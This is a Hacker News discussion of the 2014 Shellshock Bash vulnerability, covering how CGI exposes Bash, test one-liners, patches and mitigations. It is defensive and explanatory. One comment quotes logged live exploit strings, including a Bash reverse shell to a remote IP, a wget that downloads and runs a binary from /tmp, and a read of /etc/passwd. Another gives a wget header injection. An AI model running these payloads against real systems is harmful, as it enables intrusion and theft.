40 ms·

Everything you need to know about the Shellshock Bash bug

517 points by sjcsjc 12y ago

mrfusion 12y ago
So if your server is set up with limited permissions for the apache-user, are you still at risk? I don't think the apache-user if properly restricted can write to directories, or even read most of the system files?
- efdee 12y ago
  Apache user can probably write to /tmp, and from there the attacker can construct a way into the system (bindshell, reverse shell). He can then start reading your PHP config files (db passwords) or try to use other vulnerabilities to escalate his privileges.
- mrfusion 12y ago
  Isn't it kind of a security best practice to assume your web user can be compromised and plan accordingly with permissions?
- Timothee 12y ago
  From the article, it sounds like the issue is not just with Apache but also ssh, DHCP and others. So I'd just assume you're still at risk regardless of your Apache user configuration. (in any case, it's safer to act as if)
- sneak 12y ago
  It can read your application source code, read your database credentials, access your database, and exfiltrate its contents. Yes, you are at risk.
- acdha 12y ago
  Things like that lower the risk: run everything as a low-privilege account (better, not even www-data but per-site), chroot()-ed, etc. and certain classes of attack will either fail or at least be easier to clean up. The problem with all of this is that it assumes that you don't have privilege escalation vulnerabilities on the local system, which is often not the case unless non-trivial effort has gone into hardening the server – e.g. all of that privilege separation is a waste if someone sledgehammer-ed a chmod 777 into a script rather than setting the appropriate ownership and permissions or someone delayed a kernel update because they didn't want the downtime and “knew” that only trusted code ran on that system.
- drzaiusapelord 12y ago
  It doesn't seem to have trouble writing to /tmp in a typical low access scenario. Seems to me, anything can write to /tmp. Default seems to be 777 on /tmp. I had someone exploit my Pydio install a few months ago with a litecoin miner. He managed to drop and run it in /tmp. He probably couldn't write and execute to too many other places.
jamroom 12y ago
From the article: "Of course one means of mitigating this particular attack vector is simply to disable any CGI functionality that makes calls to a shell" If you're on Ubuntu: a2dismod cgi service apache2 restart If you're NOT running any CGI scripts this will disable CGI support in Apache. Not sure if that takes care of things 100%, but might be helpful.
- billadoid 12y ago
  If you're on Ubuntu or Debian your CGI scripts will probably use dash, not bash.
  - ansible 12y ago
    I've just our few Apache 2 systems that are Internet facing. Some of the site configs did have the standard Ubuntu CGI stanzas in them. However, the `/usr/lib/cgi-bin` directories were empty. All this has made me a bit nervous though. I certainly didn't change the system to use bash instead of dash.
  - muyuu 12y ago
    Debian yes, Ubuntu's default is bash. So is Mint's.
    - jewel 12y ago
      On Ubuntu, /bin/sh is a symlink to dash. /bin/sh is what system() will invoke.
      - billadoid 12y ago
        init scripts will probably run from dash[1] [1] https://wiki.ubuntu.com/DashAsBinSh https://wiki.ubuntu.com/DashAsBinSh
      - muyuu 12y ago
        It is, however when you create a user its default shell is bash unless otherwise specified.
aembleton 12y ago
Excellent, a comprehensive write up on the issue. Exactly what I was looking for.
donatj 12y ago
So trying to understand the issue here, is this actually a bash thing or a problem with the web server forwarding commands to bash? I don't understand why bash would be listening to network traffic on its own.
- rainforest 12y ago
  The latter. Some daemons, like CGI scripts will spawn a shell populated with environment variables from the client. With a vulnerable bash, commands in these get executed.
  - fennecfoxen 12y ago
    A little more accurately and pedantically: All HTTP servers invoking scripts over the Common Gateway Interface (CGI) put user-supplied input into environment variables as part of their invocation process, because that's what the CGI spec says to do. Many other daemons perform similar techniques to communicate with subprocesses that they spawn to do work. And when launching a new process, environment variables are (by default) copied from the parent process. The CGI script itself is neither a daemon nor responsible for populating the environment (merely for invoking system()). Also, most HTTP servers try to go out of their way to avoid invoking shells and instead invoke CGI scripts directly, saving on overhead. More broadly, if ANY process puts ANY client-supplied input into environment variables and subsequently that process or a subprocess happens to spawn a copy of bash by calling system(3), then you're in trouble.
- deleted 12y ago
  [deleted]
- fiedzia 12y ago
  Its a bash thing, or more specifically, the issue is with the fact that many (mostly old) web applications/web servers pass content from user straight to bash as environment variables, not expecting this to cause any problems.
  - scott_s 12y ago
therealmarv 12y ago
Does anybody has steps what to do really as a sysadmin? Do I only need to install newest bash (on Linux systems) or do I also need to restart daemons like nginx/apache etc. ?
- sp332 12y ago
  The vulnerability only affects bash when it is parsing environment variables, when it is just starting. So if a process is already running, it's not vulnerable and you don't have to restart it. You should definitely apply the patch from Wednesday, but be aware there is a related vulnerability that has no patch yet. Add the configuration from this page https://access.redhat.com/solutions/1207723 https://access.redhat.com/solutions/1207723 to your Apache or nginx config to deny malicious HTTP requests.
  - windsurfer 12y ago
    This isn't always true. Frequently sub-shells are started without people really knowing, like with backticks or parenthesis.
    - sp332 12y ago
      But the sub-shell that gets started will use the new binary, which will be safe.
philh 12y ago
Skimming this post, it appears to only reference CVE-2014-6271 and not CVE-2014-7169, so probably not 'everything you need to know'. (Searching for '=>' doesn't show anything, which I would expect it to if -7169 was mentioned.)
- avz 12y ago
  See https://news.ycombinator.com/item?id=8365158 https://news.ycombinator.com/item?id=8365158
ck2 12y ago
Keep an eye on the patches directory for whatever version you use: http://ftp.gnu.org/pub/gnu/bash/ http://ftp.gnu.org/pub/gnu/bash/ Just had to manually patch a CentOS4 legacy system. What I find interesting is the patch has been around since the 16th, what took so long and what finally lit a fire under the mainstream *nix releases?
- embolalia 12y ago
  >CentOS4 legacy system Jesus. That's been out of support for well over 2 years. I can't imagine this is the only problem it has. I'm curious: what's keeping the organization from upgrading it?
  - Moru 12y ago
    Usually time and money.
    - noir_lord 12y ago
      That or it does something ridiculously specific with a rare feature that was removed and the people who built it have left. You find a lot of that type in education/local government.
  - ck2 12y ago
    Well it was immune to heartbleed, lol (ancient openssl never had tls heartbeat feature) But Redhat actually still supports EL4 through their ELS program and releases patches for it until March 31, 2017 https://access.redhat.com/support/policy/updates/errata#th-rhel3-elp https://access.redhat.com/support/policy/updates/errata#th-r... CentOS simply decided not to keep up with it anymore, cannot blame them.
  - billybofh 12y ago
    I've got to maintain a couple of RHEL4 servers that have simulation software running on them that has never been ported forward (education - the people who wrote it have long since left). Though we also still have a couple of DEC Alpha's kicking about attached to nanofabrication services. Fun times... Luckily I don't need to maintain all the win98 boxes we still have as well. Or the DOS ones. Variety is the spice of life, and all that...
EdSharkey 12y ago
This is why I don't run Apache on my servers. Too many crufty old plugins designed in the days of peace and love. Give me servers running under JVM that do the focused few things they do very, very well.
peterwwillis 12y ago
There's no way that this bug could affect even a fraction of the number of users Heartbleed did. The number of affected machines is probably 1/10000th that of heartbleed, and heartbleed exposed hundreds of millions of users, the SSL keys of servers, etc to attack. The fact that legacy CGI scripts are the only attack vector being discussed right now is proof enough of how outdated this bug is. Keep in mind that hackers constantly take advantage of old exploitable legacy software in servers around the world to get a shell, and nobody freaks out about it.
- r1ch 12y ago
  cPanel is probably the most popular reseller hosting software for shared web hosting and it relies on CGI in all kinds of places. That alone provides a huge amount of exploitable hosts - I tried to Shodan it (port 2082) but it seems down right now. Since cPanel is designed for people without system administration experience, it's unlikely they will be patched in a timely manner too. All the CGI scripts are in known static locations, so I wouldn't be surprised to see a worm that targets cPanel servers very soon. This is definitely not going to affect just a few legacy CGI sites.
  - ck2 12y ago
    cPanel uses CentOS and does system upgrades ala yum update. Dunno if that is on by default or not though. But you aren't going to get into its cgi interface without login so that would have to be cracked first.
    - r1ch 12y ago
      Hmm, it's been a while since I last touched cPanel (almost 10 years), but I recall it automatically included aliases for cgi scripts into each vhost. Try /cgi-sys/guestbook.cgi on any cPanel website for example (a random Google example: https://www.vidahost.com/cgi-sys/guestbook.cgi https://www.vidahost.com/cgi-sys/guestbook.cgi)
    - pbhjpbhj 12y ago
      But it seems you only need one login to compromise the whole server. If I buy $3 hosting on a shared server then I can pwn the whole server can't I (using cPanel to escalate an attack above my privelege level)? What are the chances that one user account on a shared server is crackable, pretty high I'd imagine.
Igglyboo 12y ago
Can anyone explain what I should do on OSX? I've heard that replacing /bin/bash with a newer version of bash from homebrew or even zsh will work but is that going to break anything that assumes 3.2 bash??
- DSingularity 12y ago
  Are you running an HTTP or SSH server that faces the public? If so you need to update or take mitigation steps ASAP. If not you can wait until apple patches.
  - petejansson 12y ago
    I'm reluctant to add to uncertainty, but I'm not sure these are the only concerns. Many Linux systems execute shell scripts via bash after acquiring a DCHP address, and would be vulnerable if someone took over the DHCP servers in, say, a co-working space, cafe or airport and maliciously configured them. I'm not 100% sure if Mac OS X (or iOS) use shell scripts for post-assignment configuration. The short answer is to be careful about wireless access you don't control until Apple issues a patch.
    - userbinator 12y ago
      Wait, what? I know DHCP clients have had exploits but those were of the more mundane buffer overflows/range checking type; there are DHCP clients implemented in bash? Something doesn't seem right about that - AFAIK DHCP data like IPs and so forth are binary, not text. Edit: just saw https://news.ycombinator.com/item?id=8367086 https://news.ycombinator.com/item?id=8367086 - may look into that a little more.
- quarterto 12y ago
  You can apply the patch to the OS X version of 3.2: http://apple.stackexchange.com/questions/146849/how-do-i-recompile-bash-to-avoid-the-remote-exploit-cve-2014-6271-and-cve-2014-7/146851#146851 http://apple.stackexchange.com/questions/146849/how-do-i-rec...
- 12y ago
danso 12y ago
In another thread, I saw that this was an easy check to see if your bash was affected: env X="() { :;} ; echo busted" /bin/sh -c "echo stuff" If you get "busted" back, then you're affected...which is what I get with Mac OS X 10.9...however, when I try it on an Ubuntu server (14.x) that hasn't been patched in awhile...I don't get the error...Er, why is that? I thought this pretty much affected every bash since 25 years ago? (Someone else in this thread mentioned that Ubuntu uses dash...so...all modern Ubuntu servers are OK?)
- spacehunt 12y ago
  Debian-based systems use dash instead of bash for /bin/sh. But if you have scripts that explicitly use bash, you are still at risk.
  - djengineerllc 12y ago
    I tried this and it didn't work on my Ubuntu machine, it echoed "stuff". env X="() { :;} ; echo busted" /bin/sh -c "echo stuff" But then I tried this command and it echoed "vulnerable". env var='() { ignore this;}; echo vulnerable' bash -c /bin/true
- lambda 12y ago
  No, you are not OK. Replace "sh" in that command with "bash" and you should still see the issue. There is a lower likelihood that you'll see the issue, as anything which just uses sh (including the "system" function, and similar ones) will use dash indeed of Bash; but there will still be places where bash is called explicitly, including many shell scripts that depend on bash features, which are vulnerable.
- muyuu 12y ago
  AFAIK bash is the default terminal shell in all Ubuntus. So yeah, you're affected.
  - bodyfour 12y ago
    The attack isn't against terminal shells. The biggest risk is against things that use the shell implicitly like system()/popen()/etc and they all use /bin/sh It's certainly possible to be at risk if, for instance, you had a CGI script that was specifically written in bash (i.e. starts with "#!/bin/bash") but that's a lot less likely. So definitely patch your Debian/Ubuntu/etc machines but do your Redhat-based ones (and other places where "/bin/sh --version" indicates that it's bash) first.
weavie 12y ago
I bet Microsoft are enjoying the fact that it is Linux that seems to have all the security vulnerabilities these days!
- tomswartz07 12y ago
  Heh, yeah- those two major failures certainly overshadow the hundreds of issues Win has. :)
  - gokhan 12y ago
    Can you name those hundreds of issues discovered on Windows stack for, say, 2014? I'm on IIS and I really want to know if I'm missing something. MS had it's fair share of security flaws in the past but give them credit for their current state. You sound like people still talking about BSODs, while it's certainly a thing in the past.
    - freehunter 12y ago
      I get BSODs all the time on Windows 8.1 because of my video card drivers.
    - WorldWideWayne 12y ago
      Here is the list of security advisories for all Microsoft products and they even list some non-Microsoft products like Adobe Flash, etc: - https://technet.microsoft.com/en-us/library/security/dn631936.aspx https://technet.microsoft.com/en-us/library/security/dn63193... I don't know where to get the multitude of security advisories for Unix systems listed all in one spot, but here are some links for popular distros: - https://www.debian.org/security/ https://www.debian.org/security/ - http://www.ubuntu.com/usn/ http://www.ubuntu.com/usn/ - https://access.redhat.com/security/updates/active/ https://access.redhat.com/security/updates/active/ - http://www.slackware.com/security/list.php?l=slackware-security&y=2014 http://www.slackware.com/security/list.php?l=slackware-secur... Anyone know where to go in order to get the Unix vulns all in one list?
      - 12y ago
spilk 12y ago
I've seen a lot of talk regarding the impact on embedded devices, but how many of these actually run GNU Bash? I can't think of many embedded devices that don't use Busybox instead.
- drzaiusapelord 12y ago
  >I can't think of many embedded devices that don't use Busybox instead. What about all these shitty wireless routers out there? I think in the past they were QNX-based but they've long moved to being linux based. We know popular projects like dd-wrt and pfsense are probably okay (ash instead of bash), but what about the thousands of others? My own router is supplied by AT&T for its u-verse service. God knows what its running. Or all the NAS devices out there and load balancers, etc. I guess we'll find out when the whitehats are done scanning the entire internet for vulnerable hosts.
  - spilk 12y ago
    I have a higher-end (albeit still consumer-level) ASUS wireless router that uses Busybox. I can't imagine that cheaper, lower-end models would be using full GNU bash instead.
jeletonskelly 12y ago
The only suitable logo for this vulnerability: http://img3.wikia.nocookie.net/__cb20080920183129/nintendo/en/images/3/33/BlueShell.jpg http://img3.wikia.nocookie.net/__cb20080920183129/nintendo/e...
- GotAnyMegadeth 12y ago
  I wonder which will cause a greater net suffering to mankind?
therealmarv 12y ago
When comparing security warning from RedHat https://access.redhat.com/solutions/1207723 https://access.redhat.com/solutions/1207723 vs Ubuntu http://www.ubuntu.com/usn/usn-2362-1/ http://www.ubuntu.com/usn/usn-2362-1/ the RedHat one wants you to run /sbin/ldconfig or reboot your machine. Why Ubuntu does not recommend this? They do ldconfig automatically?
- vezzy-fnord 12y ago
  Pretty sure it's run as a one-shot boot service on almost all distros.
- AgentME 12y ago
  The vulnerability only exists during the startup of a bash process. Updating bash is enough. Bash processes that are already running are past the point where they could be exploited. Future calls to bash will get the updated version. No services need to be restarted to apply the fix.
jgrahamc 12y ago
This is being actively exploited. We (CloudFlare) put in place WAF rules to block the exploit yesterday and I've been looking at the log files for the blocking to see what's going on. Have been seeing things like: () { :;}; /bin/ping -c 1 198.x.x.x () { :;}; echo shellshock-scan > /dev/udp/example.com/1234 () { ignored;};/bin/bash -i >& /dev/tcp/104.x.x.x/80 0>&1 () { test;};/usr/bin/wget http://example.com/music/file.mp3 -O ~/cgi-bin/file.mp3 () { :; }; /usr/bin/curl -A xxxx http://112.x.x.x:8011 () { :; }; /usr/bin/wget http://115.x.x.x/api/file.txt () { :;}; echo Content-type:text/plain;echo;/bin/cat /etc/passwd () { :; }; /bin/bash -c "if [ $(/bin/uname -m | /bin/grep 64) ]; then /usr/bin/wget 82.x.x.x:1234/v64 -O /tmp/.osock; else /usr/bin/wget 82.x.x.x:1234/v -O /tmp/.osock; fi; /bin/chmod 777 /tmp/.osock; /tmp/.osock & If you are one of our (paying) customers the rules to block this exploit are enabled automatically.
- mkoryak 12y ago
  and if I am not a paying customer, can I enable them manually?
  - jgrahamc 12y ago
    No, the WAF is not included in the free plan.
    - TeMPOraL 12y ago
      Out of curiosity, have you considered enabling it temporarily for everyone with Shellshock rules enabled? Just a day or two, to give people time to fix this. Is it feasible with your infrastructure/the way WAF works (I never used one)? It could do a lot of good for people and be a great PR move at the same time.
      - jgrahamc 12y ago
        I'm going to bring it up internally, but don't hold your breath.
monort 12y ago
On Linux dhclient-script is written in bash. If it is vulnerable, then connecting to open wifi can be exploitable via rogue DHCP server.
wodow 12y ago
Is there a (low volume) mailing list that would have alerted me to both this and Heartbleed?
- justincormack 12y ago
  Your OS vendors security list.
  - mbi 12y ago
    For Debian that would be debian-security-announce [1], I try to read every post from that list. 1: https://lists.debian.org/debian-security-announce/ https://lists.debian.org/debian-security-announce/
  - wodow 12y ago
    Well, I mostly use Debian and Arch: Debian isn't low volume: https://lists.debian.org/debian-security-announce/2014/threads.html https://lists.debian.org/debian-security-announce/2014/threa... Arch isn't high volume enough(!) https://mailman.archlinux.org/pipermail/arch-security/ https://mailman.archlinux.org/pipermail/arch-security/ Arch recommends the oss-security list, which is all too high volume http://www.openwall.com/lists/oss-security/2014/09/ http://www.openwall.com/lists/oss-security/2014/09/
    - justincormack 12y ago
      I guess you want to filter eg the Debian list by the packages you have installed ideally. An API to the same info would be nice.
      - wodow 12y ago
        Or filter the NVD feeds from http://nvd.nist.gov/download.cfm http://nvd.nist.gov/download.cfm ?
diyorgasms 12y ago
You can tail your access.log and grep the expression "$?\s_\s$?\s{|cgi" to get an idea if someone is trying to exploit your webserver. The cgi part will return a lot of false positives, but if you cannot disable cgi, you might as well track it being requested.
- bodyfour 12y ago
  That will only find either clumsy exploit attempts or whitehat scans that are not trying to hide themselves. CGI sends most headers through to the script as environment variables (i.e. a Foobar: header will turn into $HTTP_FOOBAR) so at attacker can just pick a header name that isn't likely to be logged.
frankydp 12y ago
Is anyone able to get the echo test to pass after updating AWS bash?
- gtCameron 12y ago
  I updated a handful of machines running an Amazon Linux AMI this morning and they passed the standard echo test after sudo yum update
earlz 12y ago
Has anyone constructed this exploit as a simple `wget` command?
- fiedzia 12y ago
  wget --header='Referer: () { :;}; touch /tmp/vulnerable ' www.example.com
  - bodyfour 12y ago
    Note that you'll typically want to supply the URL to a CGI script on the site, not just www.example.com. Don't think you're unaffected just because the top-level page of your site doesn't appear vulnerable.
  - earlz 12y ago
    Is there some easy way of detecting a site you don't control is vulnerable without bringing it down?
    - nkurz 12y ago
      Yes, you can ask it to ping an address you control and record where the pings come from.
mrfusion 12y ago
I see how Apache passes request information through environment variables but I don't see how bash comes into play in typical CGI. Is anyone up for educating me? I see http request -> apache -> env variables -> php What am I missing?
- diydsp 12y ago
  I think I have the same question.. why is this called a "bash" bug? Is it not a webserver bug? Why does the webserver send data to bash through environment variables? Is there no better way to do it?
  - pilif 12y ago
    That's how Unix works. Subprocesses by default inherit the parents environment. And the http headers end up there because the CGI spec says so
  - pquerna 12y ago
    CGI is an interface first defined 1993, 21 years ago. No one thought setting user data in environment variables was a risky thing at the time. More modern interfaces between dynamic code and webservers, like even FastCGI or SCGI or dozens of others do not pass user data over Environment variables, and instead pass data in various protocols over a socket.
  - Maken 12y ago
    If something, it's a bug in the CGI specification, since passing HTTP headers as environment variables is part of the standard.
    - mrfusion 12y ago
      Sort of I guess, but why does bash need to loop over all of the env variables and execute them? I don't think CGI had any reason to think that would ever happen? (I guess that's basically what it's doing?)
      - 12y ago
muyuu 12y ago
Either of these will typically show you your running terminal: ps -p $$ echo $0 (command name that was used to invoke the shell) Not reliable: echo $SHELL (preferred shell for the user, not necessarily what is running) Also note that you may want to remove/fix bash to make sure it doesn't get run by something else. A CGI script may run it despite you changing your default shell to something else.
txutxu 12y ago
With only static content (all logic implemented via cron). $ grep nginx /etc/passwd nginx:x:105:111:nginx user,,,:/nonexistent:/bin/false And the only other service listening in this machine is SSH, but it's limited by iptables only to my home IP. I think I'm safe. Now installing updates patches bash. Anyway, I've seen that syntax before (I'm talking of years here), on #bash in freenode. Simply nobody did apply this from a security view point in the channel...
Glan1984 12y ago
How about installing zsh and making that the default shell? Is that enough?
- dylukes 12y ago
  zsh is also vulnerable. (it's a bash derivative)
  - brians 12y ago
    Can you show example code exploiting zsh? I haven't seen such, nor found such: » V='() { :; }; echo busted' zsh -c "echo hi" hi But: » V='() { :; }; echo busted' bash -c "echo hi" busted hi
  - Glan1984 12y ago
    https://security.stackexchange.com/questions/68146/how-do-i-secure-apache-against-the-bash-shellshock-vulnerability https://security.stackexchange.com/questions/68146/how-do-i-...
  - bodyfour 12y ago
    That's incorrect; it does not appear to have the "export function" feature that this bug relies on.
f- 12y ago
Since the post is relatively non-technical, I'd like to underscore that there are substantial concerns with the original and the followup patch, because with or without it, the underlying bash code parser is still exposed to the Internet. Nobody has posted an RCE vector that would be universally bad for the patched version, but several people have already identified "hmm, that's unexpected" types of global side effects when attacker-controlled strings are parsed as functions by bash. More is likely to come. As of today, based on our conversations on oss-security, there is a third, unofficial patch that takes a much saner approach of isolating exported functions in a distinct namespace: http://www.openwall.com/lists/oss-security/2014/09/25/13 http://www.openwall.com/lists/oss-security/2014/09/25/13 Especially in high-value or high-risk scenarios, you may want to give it a try. And if you're interested in the reasons why the original patch is problematic, check out: http://lcamtuf.blogspot.com/2014/09/quick-notes-about-bash-bug-its-impact.html http://lcamtuf.blogspot.com/2014/09/quick-notes-about-bash-b...
- jtheory 12y ago
  The idea of using bash to do anything with input coming from the internet is asking for trouble, really... It's just a flaw with how CGI works generally, and how PHP etc. encourage you to build webapps. It's the same principle as SQL-injection attacks (and the flaw is there for the same reason! It's the obvious quick solution to just query mysql with "select * from users where username = " . PARAMS['username'].... But this is far more dangerous -- injecting malicious SQL can reveal data, or break things. Injecting malicious bash commands can reconfigure your server to do whatever they like.
  - nitrogen 12y ago
    The dangerous thing is that lots of things that look like a library call to the unwary developer actually call out to other processes (visible if you run strace). This vulnerability will not be limited to web servers, either, and there will likely be systems that escape or unescape parameters in ways that evade app firewall rules.
  - nostrademons 12y ago
    I've worked with sysadmins that insisted that CGI be disabled for exactly this reason. If we wanted a dynamic website we needed to use mod_perl or mod_php (it was back in the early 2000s, Rails/Django/nginx hadn't yet been invented). It wasn't a perfect solution - both of them still had plenty of security vulnerabilities - but it cut down the attack surface significantly. Now I understand what all the security people who said "never use system(). Never, ever" meant.
nacnud 12y ago
Unless I've missed something, could some benevolent person use the bug to cause remote systems to run something like "sudo apt-get update && sudo apt-get install bash", to patch the vulnerability automatically? (it makes lots of assumptions, but surely it's better to have some patched systems as a result.)
- hderms 12y ago
  sudo requires a password to be entered by default, right? I would guess that for most setups this wouldn't be possible without some kind of privilege escalation as well (or if the webserver was running with root privileges).
  - theGimp 12y ago
    You'd be surprised by the number of servers that don't ask for password when you try to use sudo. They just assume that the actual owner issued the command and go straight to issuing the command as root. (Caveat: typically it has to be a certain user) I'm ashamed to admit I used to think that was convenient. It makes systems infinitely more vulnerable in the event of an RCE bug.
    - pndmnm 12y ago
      Many systems still use passwordless sudo to permit certain users to run specific commands -- but now, if those commands are shell scripts run via bash, the users can execute arbitrary commands (this isn't an uncommon class of privilege escalation problem, though).
- metaphorm 12y ago
  and how would the "benign attacker" know the super user password that sudo will ask for? its not like this is a logged in ssh session.
  - nacnud 12y ago
    Extremely good point, thank you. :)
drdaeman 12y ago
Had anyone suggested and/or implemented something like building a tiny wrapper for bash that would clean environment and then execve("/bin/bash.vulnerable", argv, cleaned_envp)?
- sounds 12y ago
  In the red hat links (already in the comments here) there is an LD_PRELOAD file which cleans the environment for _all_ your processes.
- mzs 12y ago
  $ /usr/bin/env - /usr/local/bin/bash -c set sh BASH=/usr/local/bin/bash ...
neuralk 12y ago
For Windows devs: remember that some tools and libraries come with bash (and some may not even tell you explicitly). For instance, msysgit has the vulnerability[1]: $ env x='() { :;}; echo vulnerable' bash -c "echo this is a test" vulnerable this is a test [1] from the comments on the blog in the OP
- Globz 12y ago
  okay after more tests on the latest version of win-bash I can confirm that it is vulnerable.
- ni_nad 12y ago
  Can confirm the same for Github for Windows (msysgit again), Chef for Windows (embedded bash) as well as Cygwin's bash
sequoia 12y ago
Read a bit about this because I didn't understand CGI. tl;dr version of what's going on here, if I'm not mistaken (assuming apache/php for this example): 1. Web server (apache) gets request to route to CGI script (PHP) 2. Per the CGI spec, apache passes the request body to PHP as stdin & sets the HTTP headers as environment variables, so PHP can access them 3. In the PHP script, `exec`/`passthru`/`shell_exec` etc. is called to do something in the shell/on the system level. This spawns a new shell (which may be bash) 4. bash interprets the environment variables set by apache The rub lies in step 4: when bash interprets an environment variable called `HTTP_USER_AGENT` containing the value `() { :;}; /bin/ping -c 1 198.x.x.x` it "gets confused" & interprets that first part (before the second semicolon) as a function, then executes the second part as well Hopefully this answers the "how does the exploit get from the browser to bash?" Further question: "If I do not use exec/shell_exec/popen etc, am I still vulnerable (just by virtue of using mod_php)?" AFAICT No, but I am not really sure (I hope someone clears this up). Additional note about PHP: disabling all these passthru type functions has been recommended for years: http://www.cyberciti.biz/faq/linux-unix-apache-lighttpd-phpini-disable-functions/ http://www.cyberciti.biz/faq/linux-unix-apache-lighttpd-phpi...
- bjackman 12y ago
  Thanks. I'm still confused though: 1: Why does Bash "interpret" the environment variables' values? What is the expected result of setting a function definition as the value of an environment variable? In my worldview (which is clearly wrong) there is no reason for Bash to look at environment variables' values until they're evaluated. 2: This is probably besides the point: but since when is the empty string a valid function name? I can't get Bash to accept "() { :; }" (as opposed to "f() { :; }" as valid bash. Edit: see my self-reply for answers.
  - deleted 12y ago
    [deleted]
  - bjackman 12y ago
    Aha, I found answers here: http://seclists.org/oss-sec/2014/q3/650 http://seclists.org/oss-sec/2014/q3/650 Basically, Bash interprets environment variables at start up as a means for you to pass functions into subshells. Whenever an environment variable's value starts with "() {", it is interpreted as a function, which is named according to the environment variable's name. I guess even without the bug under discussion this feature is a theoretical security flaw. If you set your user agent to "() { ping your.domain.com}", a function named HTTP_USER_AGENT, which pinged your.domain.com would exist in any shellThe name of the function is passed as the Apache spawned. It's not hard to imagine a buggy script accidentally executing it.
idorosen 12y ago
For Mac OS X, until Apple releases a software update, I've applied the original CVE-2014-6271 (shellshock) patch and am going to apply the CVE-2014-7169 patch as well once it passes review. Repository and instructions to reproduce without trusting me are located here: https://github.com/ido/macosx-bash-92-shellshock-patched https://github.com/ido/macosx-bash-92-shellshock-patched
- rsync 12y ago
  why not simply chmod 0000 `which bash` ?
  - Zancarius 12y ago
    The problem is that some utilities rely heavily on bashisms such that they're unlikely to work with dash or other POSIX-compliant sh-replacements. As an Arch user, just off the top of my head, I can think of yaourt (AUR helper) and apparently the shell script for invoking gradle as both reliant on such behavior. The latter may not affect everyone, and after running into just those two samples today, I can only imagine what else may be affected. The best solution I could think of as a work around is to install dash, replace the /bin/sh symlink pointing to dash, and then chown/chmod bash so that only those specific users who need to use it can use it. This isn't perfect, because it could still be affected by web services that run as users that would then have access to bash via their member group(s), or because a web service might rely on another application that itself requires specific bashisms in order to function. This is why abandoning correctness for convenience can be dangerous.
  - sjy 12y ago
    This isn't really enough because /bin/sh is also a copy of bash (not a symlink).
- idorosen 12y ago
  I've updated this to the latest patch which covers CVE-2014-7169.
cyphunk 12y ago
I seem to remember somewhere on Show HN a service that lets one execute a command to populate an online pastebin. Something like: `cat | nc service.com 9199`. Now however I cannot find this service. Anyone know where?
Globz 12y ago
I tried the vuln on win-bash but nothing so far, it just doesn't give an error and doesn't echo out anything..
PeterWhittaker 12y ago
Folks, for what it's worth, here is a management briefing I wrote this morning. Please feel free to re-use, but please do give proper attribution. Please do comment and correct as appropriate. Summary: Briefing for management on activities to minimize impacts of the "shellshock" computer vulnerability. Status: Testing underway. Initial appraisals are that public-facing systems are likely not subject to shellshock. NOTE: The situation is fluid, due to the nature of the vulnerability. Personnel are also reaching out to hosting providers to assess the status of intervening systems. What is it? A vulnerability in a command interpreter found on the vast majority of Linux and UNIX systems, including web servers, development machines, routers, firewalls, etc. The vulnerability could allow an anonymous attacker to execute arbitrary commands remotely, and to obtain the results of these commands via their browser. The security community has nicknamed the vulnerability "shellshock" since it affects computer command interpreters known as shells. How does it work? Command interpreters, or "shells", are the computer components that allow users to type and execute computer commands. Anytime a user works in a terminal window, they are using a command interpreter - think of the DOS command prompt. Some GUI applications, especially administrative applications, are in fact just graphical interfaces to command interpreters. The most common command interpreter on Linux and UNIX is known as the "bash shell". Within the last several days, security researchers discovered that a serious vulnerability has been present in the vast majority of instances of bash for the last twenty years. This vulnerability allows an attacker with access to a bash shell to execute arbitrary commands. Because many web servers use system command interpreters to fulfill user requests, attackers need not have physical access to a system: The ability to issue web requests, using their browser or commonly-available command line tools, may be enough. How bad could it be? Very, very bad. The vulnerability may exist on the vast majority of Linux and UNIX systems shipped over the last 20 years, including web servers, development machines, routers, firewalls, other network appliances, printers, Mac OSX computers, Android phones, and possibly iPhones (note: It has yet to be established that smartphones are affected, but given that Android and iOS are variants of Linus and UNIX, respectively, it would be premature to exclude them). Furthermore, many such systems have web-based administrative interfaces: While many of these machines do not provide a "web server" in the sense of a server providing content of interest to the casual or "normal" user, many do provide web-based interfaces for diagnotics and administration. Any such system that provides dynamic content using system utilities may be vulnerable. What is the primary risk? There are two, data loss and system modification. By allowing an attacker to execute arbitrary commands, the shellshock vulnerability may allow the attacker to both obtain data from a system and to make changes to system configuration. There is also a third risk, that of using affected systems to launch attacks against other systems, so-called "reflector" attacks: The arbitrary command specified by the attacker could be to direct a network utility against a third machine. How easy is it to detect the vulnerability? Surprising easily: A single command executed using ubiquitous system tools will reveal whether any particular web device or web server is vulnerable. What are we doing? Technical personnel are using these commands to test all web servers and other devices we manage and are working with hosting providers to ensure that all devices upon which we depend have been tested. When devices are determined to be vulnerable, a determination is made whether they should be left alone (e.g., if they are not public facing and patches are either not yet available or would be disruptive at this time, or if there are other mitigations or safeguards in place), patched (e.g., if patches are available and are low impact), or turned off (e.g., if patches are not available, risk is high, and the service is not mandate critical). Updates to this briefing will provided as the situation develops.
lurkinggrue 12y ago
Can you test for this using curl?
magpi3 12y ago
Can the bug be avoided just by setting the default shell for your webserver's user (generally www-data in debian) to /bin/dash? At least from the perspective of Apache users?
AYBABTME 12y ago
I'm confused by this vuln report and all the attention. If I don't run any CGI thing and I don't expose SSH without pubkey and only to trusted users, what is there for me to worry about?
- teraflop 12y ago
  The CGI and SSH attack vectors are getting a lot of attention because they are so trivially exploitable. But as someone (I believe tptacek) put it in another thread, this bug has one of the biggest potential attack surfaces in history. Anything that sets any environment variable to an untrusted value and then invokes bash is vulnerable. For example, on some systems, simply connecting to an attacker-controlled network is enough to cause code execution through the DHCP client. If you choose not to upgrade bash, you are trusting that none of the code on your system uses bash in this way. It's extremely unlikely that the vectors that have been publicized so far are the only major ones.
  - AYBABTME 12y ago
    Alright so necessary conditions are "sets env variables" + "invoke bash". That clarifies, thanks. I'm not advocating not updating, I'm just trying to understand what to do with this info for say, my hosted project that _doesn't set env vars nor invoke bash_.
- smackfu 12y ago
  Does your firewall run Linux? What technologies are used to implement its logon page? That's the kind of thing people are worried about.
TeeWEE 12y ago
The article points you you can run the following code to check you are affected: env X="() { :;} ; echo busted" /bin/sh -c "echo stuff" However... This just shows that the bash installation has this problem. If your webserver that is running is not interacting with bash, then there is no problem at all. So look at your webserver. Its not per-se a problem in bash. Its more a problem of webservers using bash directly. Or is this bug more serious?
- RickHull 12y ago
  There are many network daemons besides httpd which, if they delegate request handling to any other process or system functionality, may: 1. Invoke bash somewhere in the call stack 2. Pass request data via environment variables If both of these are true, then the daemon is presumed vulnerable. You may still be vulnerable if (2) is false (by design) yet the attacker is able to set environment variables. CGI / Apache / httpd is the obvious vector, but don't be lured into complacency.
- boynamedsue 12y ago
